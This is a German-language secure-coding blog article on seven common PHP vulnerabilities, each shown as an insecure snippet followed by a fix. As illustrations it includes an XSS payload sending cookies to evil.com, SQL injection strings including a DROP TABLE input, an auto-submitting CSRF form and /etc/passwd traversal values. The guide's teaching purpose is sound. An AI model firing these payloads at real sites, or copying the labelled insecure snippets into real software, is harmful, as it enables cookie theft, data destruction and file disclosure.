Zum Inhalt springen

PHP Sicherheitsfallen: Warum $_SERVER['REQUEST_URI'] in Formularen gefährlich ist

Veröffentlicht am 27. Feb. 2026 | ca. 1 Min. Lesezeit |

PHP gehört zu den meistverbreiteten Sprachen im Web, und entsprechend groß ist die Angriffsfläche bei fehlerhafter Implementierung. Viele Sicherheitslücken entstehen nicht durch komplexe Schwachstellen, sondern durch einfache, verbreitete Codemuster, die auf den ersten Blick harmlos wirken. Dieser Artikel beleuchtet sieben klassische Sicherheitsfallen und zeigt jeweils die sichere Alternative.


1. XSS über $_SERVER['REQUEST_URI'] in Formularen

Das Problem

Ein weit verbreitetes Muster in älterem PHP-Code ist das direkte Ausgeben der aktuellen URL als Formular-Action:

<!-- Unsicher -->
<form method="post" action="<?php echo $_SERVER['REQUEST_URI']; ?>">

Diese Zeile sieht harmlos aus, öffnet jedoch eine klassische Cross-Site-Scripting (XSS)-Lücke. Ein Angreifer kann die URL so manipulieren, dass darin JavaScript eingebettet wird:

https://example.com/kontakt?"><script>document.location='https://evil.com/?c='+document.cookie</script>

Da $_SERVER['REQUEST_URI'] die gesamte URL-Zeichenkette ungefiltert zurückgibt, landet das Script direkt im HTML-Quelltext und wird vom Browser ausgeführt. Cookies, Session-Daten oder andere sensible Informationen können so an Dritte übertragen werden.

Die sichere Lösung

Der Wert muss immer mit htmlspecialchars() kodiert werden:

<!-- Sicher -->
<form method="post" action="<?php echo htmlspecialchars($_SERVER['REQUEST_URI'], ENT_QUOTES, 'UTF-8'); ?>">

Noch besser ist es, die Action-URL explizit anzugeben statt dynamisch aus der aktuellen URL zu lesen:

<!-- Empfohlen -->
<form method="post" action="/kontakt">

Grundregel: Jede Ausgabe von Benutzerdaten oder externen Eingaben in HTML muss HTML-kodiert werden.


2. SQL Injection durch String-Konkatenation

Das Problem

Die direkte Einbettung von Benutzereingaben in SQL-Abfragen ist eine der ältesten und gefährlichsten Schwachstellen:

// Unsicher
$username = $_POST['username'];
$result = mysql_query("SELECT * FROM users WHERE username = '" . $username . "'");

Ein Angreifer gibt als Benutzername ein: ' OR '1'='1

Die resultierende Abfrage lautet:

SELECT * FROM users WHERE username = '' OR '1'='1'

Diese gibt alle Datensätze zurück. Mit destruktiveren Eingaben wie '; DROP TABLE users; -- kann die Datenbank beschädigt werden.

Die sichere Lösung

Prepared Statements mit PDO oder MySQLi sind die einzig korrekte Lösung:

// Sicher mit PDO
$stmt = $pdo->prepare("SELECT * FROM users WHERE username = :username");
$stmt->execute(['username' => $_POST['username']]);
$result = $stmt->fetch();

// Sicher mit MySQLi
$stmt = $mysqli->prepare("SELECT * FROM users WHERE username = ?");
$stmt->bind_param("s", $_POST['username']);
$stmt->execute();

Prepared Statements trennen SQL-Code und Daten vollständig. Benutzereingaben werden niemals als Teil des SQL-Codes interpretiert.


3. Unsichere Datei-Uploads

Das Problem

Datei-Upload-Funktionen ohne ausreichende Validierung ermöglichen es Angreifern, ausführbare Dateien auf den Server zu laden:

// Unsicher
move_uploaded_file(
    $_FILES['upload']['tmp_name'],
    'uploads/' . $_FILES['upload']['name']
);

Probleme dabei:

  • Der Dateiname kommt unverändert vom Client und kann ../../../etc/passwd oder shell.php lauten
  • Der MIME-Typ aus $_FILES['upload']['type'] wird vom Client gesendet und ist fälschbar
  • Eine hochgeladene PHP-Datei kann direkt ausgeführt werden, wenn das Upload-Verzeichnis unter dem Webroot liegt

Die sichere Lösung

// Sicher
$allowedExtensions = ['jpg', 'jpeg', 'png', 'gif', 'pdf'];
$allowedMimeTypes  = ['image/jpeg', 'image/png', 'image/gif', 'application/pdf'];

$originalName = $_FILES['upload']['name'];
$extension    = strtolower(pathinfo($originalName, PATHINFO_EXTENSION));

// Erweiterung prüfen
if (!in_array($extension, $allowedExtensions, true)) {
    throw new RuntimeException('Dateityp nicht erlaubt.');
}

// MIME-Typ serverseitig prüfen (nicht vom Client übernehmen)
$finfo    = new finfo(FILEINFO_MIME_TYPE);
$mimeType = $finfo->file($_FILES['upload']['tmp_name']);

if (!in_array($mimeType, $allowedMimeTypes, true)) {
    throw new RuntimeException('Ungültiger MIME-Typ.');
}

// Zufälligen, sicheren Dateinamen generieren
$safeName = bin2hex(random_bytes(16)) . '.' . $extension;

// Upload-Verzeichnis außerhalb des Webroots oder mit .htaccess-Schutz
move_uploaded_file($_FILES['upload']['tmp_name'], '/var/uploads/' . $safeName);

Das Upload-Verzeichnis sollte außerhalb des Webroots liegen oder per .htaccess so konfiguriert sein, dass PHP-Ausführung deaktiviert ist.


4. Session Fixation und Session Hijacking

Das Problem

Session Fixation tritt auf, wenn eine Session-ID vor der Authentifizierung nicht erneuert wird:

// Unsicher: Session-ID bleibt nach Login gleich
session_start();
if (login_valid($_POST['user'], $_POST['pass'])) {
    $_SESSION['user'] = $_POST['user'];
}

Ein Angreifer kann eine bekannte Session-ID in die URL einschleusen. Sobald sich ein Opfer authentifiziert, ist die Session unter der bekannten ID gültig, und der Angreifer übernimmt die Sitzung.

Session Hijacking hingegen nutzt eine gestohlene Session-ID, etwa durch XSS oder unsicheres Netzwerk.

Die sichere Lösung

// Sicher: Session-ID nach Login erneuern
session_start();

if (login_valid($_POST['user'], $_POST['pass'])) {
    // Neue Session-ID generieren und alte löschen
    session_regenerate_id(true);
    $_SESSION['user'] = $_POST['user'];
}

Zusätzliche Maßnahmen:

// Session-Cookie nur über HTTPS und nicht per JavaScript erreichbar
session_set_cookie_params([
    'lifetime' => 0,
    'path'     => '/',
    'secure'   => true,   // nur HTTPS
    'httponly' => true,   // kein JavaScript-Zugriff
    'samesite' => 'Lax',  // CSRF-Schutz
]);
session_start();

5. Unsichere Passwort-Speicherung

Das Problem

MD5 und SHA1 gelten seit Jahren als unsicher für die Passwort-Speicherung:

// Unsicher
$hash = md5($_POST['password']);
$hash = sha1($_POST['password']);

Beide Algorithmen sind schnell berechenbar. Mit modernen Grafikkarten sind Milliarden von Hashes pro Sekunde möglich, womit Rainbow-Table-Angriffe und Brute-Force-Attacken in kurzer Zeit zum Ziel führen.

Die sichere Lösung

PHP stellt seit Version 5.5 die Funktion password_hash() bereit, die automatisch einen starken Algorithmus und ein zufälliges Salt verwendet:

// Sicher: Passwort hashen
$hash = password_hash($_POST['password'], PASSWORD_BCRYPT);
// Oder noch stärker:
$hash = password_hash($_POST['password'], PASSWORD_ARGON2ID);

// Passwort prüfen
if (password_verify($_POST['password'], $storedHash)) {
    // Login erfolgreich
}

password_verify() ist timing-sicher implementiert und verhindert Timing-Angriffe. Der gespeicherte Hash enthält automatisch Algorithmus, Cost-Factor und Salt, sodass eine spätere Migration auf stärkere Algorithmen ohne Datenverlust möglich ist.


6. CSRF ohne Token-Schutz

Das Problem

Cross-Site Request Forgery (CSRF) nutzt aus, dass Browser bei jeder Anfrage automatisch Cookies mitsenden:

// Unsicher: Aktion ohne CSRF-Schutz
if ($_POST['action'] === 'delete_account') {
    delete_account($_SESSION['user_id']);
}

Eine fremde Website kann ein verstecktes Formular enthalten:

<form action="https://example.com/account" method="post">
    <input type="hidden" name="action" value="delete_account">
</form>
<script>document.forms[0].submit();</script>

Besucht ein eingeloggter Nutzer diese Seite, wird die Aktion mit seinen Credentials ausgeführt.

Die sichere Lösung

Jedes zustandsverändernde Formular benötigt ein CSRF-Token:

// Token generieren und in Session speichern
function generate_csrf_token(): string {
    if (empty($_SESSION['csrf_token'])) {
        $_SESSION['csrf_token'] = bin2hex(random_bytes(32));
    }
    return $_SESSION['csrf_token'];
}

// Token prüfen
function validate_csrf_token(string $token): bool {
    return isset($_SESSION['csrf_token'])
        && hash_equals($_SESSION['csrf_token'], $token);
}

// Im Formular
echo '<input type="hidden" name="csrf_token" value="'
    . htmlspecialchars(generate_csrf_token(), ENT_QUOTES, 'UTF-8') . '">';

// Bei Verarbeitung
if (!validate_csrf_token($_POST['csrf_token'] ?? '')) {
    http_response_code(403);
    exit('Ungültiges CSRF-Token.');
}

hash_equals() verhindert Timing-Angriffe beim Token-Vergleich.


7. Directory Traversal bei include/require

Das Problem

Wird ein Dateiname direkt aus Benutzereingaben in include oder require übernommen, kann ein Angreifer beliebige Dateien des Systems lesen:

// Unsicher
$page = $_GET['page'];
include('templates/' . $page . '.php');

Eine Anfrage mit ?page=../../../../etc/passwd%00 (Null-Byte-Injection in älteren PHP-Versionen) oder ?page=../../../../var/log/apache2/access kann Systemdateien offenlegen. Mit einer hochgeladenen PHP-Datei kann über diesen Weg sogar Code ausgeführt werden.

Die sichere Lösung

Benutzereingaben dürfen niemals direkt in Dateipfade einfließen. Stattdessen sollte eine Whitelist erlaubter Werte genutzt werden:

// Sicher: Whitelist erlaubter Seiten
$allowedPages = ['home', 'about', 'contact', 'blog'];
$page = $_GET['page'] ?? 'home';

if (!in_array($page, $allowedPages, true)) {
    $page = 'home';
}

include('templates/' . $page . '.php');

Alternativ kann realpath() genutzt werden, um sicherzustellen, dass der resultierende Pfad innerhalb des erlaubten Verzeichnisses liegt:

$basePath = realpath(__DIR__ . '/templates');
$filePath = realpath($basePath . '/' . $page . '.php');

if ($filePath === false || !str_starts_with($filePath, $basePath)) {
    http_response_code(400);
    exit('Ungültige Seite.');
}

include($filePath);

Zusammenfassung

Sicherheitslücke Unsicheres Muster Sichere Alternative
XSS echo $_SERVER['REQUEST_URI'] htmlspecialchars()
SQL Injection String-Konkatenation in Queries Prepared Statements (PDO/MySQLi)
Datei-Upload Unkontrollierter Upload Whitelist + serverseitiger MIME-Check + zufälliger Dateiname
Session Fixation Session-ID bleibt nach Login session_regenerate_id(true)
Passwort-Hashing MD5 / SHA1 password_hash() mit bcrypt oder Argon2id
CSRF Formular ohne Token CSRF-Token mit hash_equals()
Directory Traversal include mit GET-Parameter Whitelist oder realpath()-Prüfung

Sicherheit entsteht durch konsequentes Anwenden bewährter Muster, nicht durch nachträgliches Absichern. Wer diese sieben Grundregeln von Anfang an berücksichtigt, vermeidet den Großteil der in PHP-Projekten häufig auftretenden Schwachstellen.

Thomas Wunner

Thomas Wunner

Fachinformatiker für Anwendungsentwicklung mit Ausbildereignungsprüfung und über 14 Jahre Erfahrung im Aufbau skalierbarer Webanwendungen mit Symfony und Shopware. Abseits der Tastatur ist Thomas als Rettungsschwimmer in der Wasserwacht aktiv, legt als DJ auf und erkundet die Umgebung auf dem Motorrad.

Kommentare

Kommentare werden von Remark42 bereitgestellt. Beim Laden werden Daten an unseren Kommentar-Server übertragen.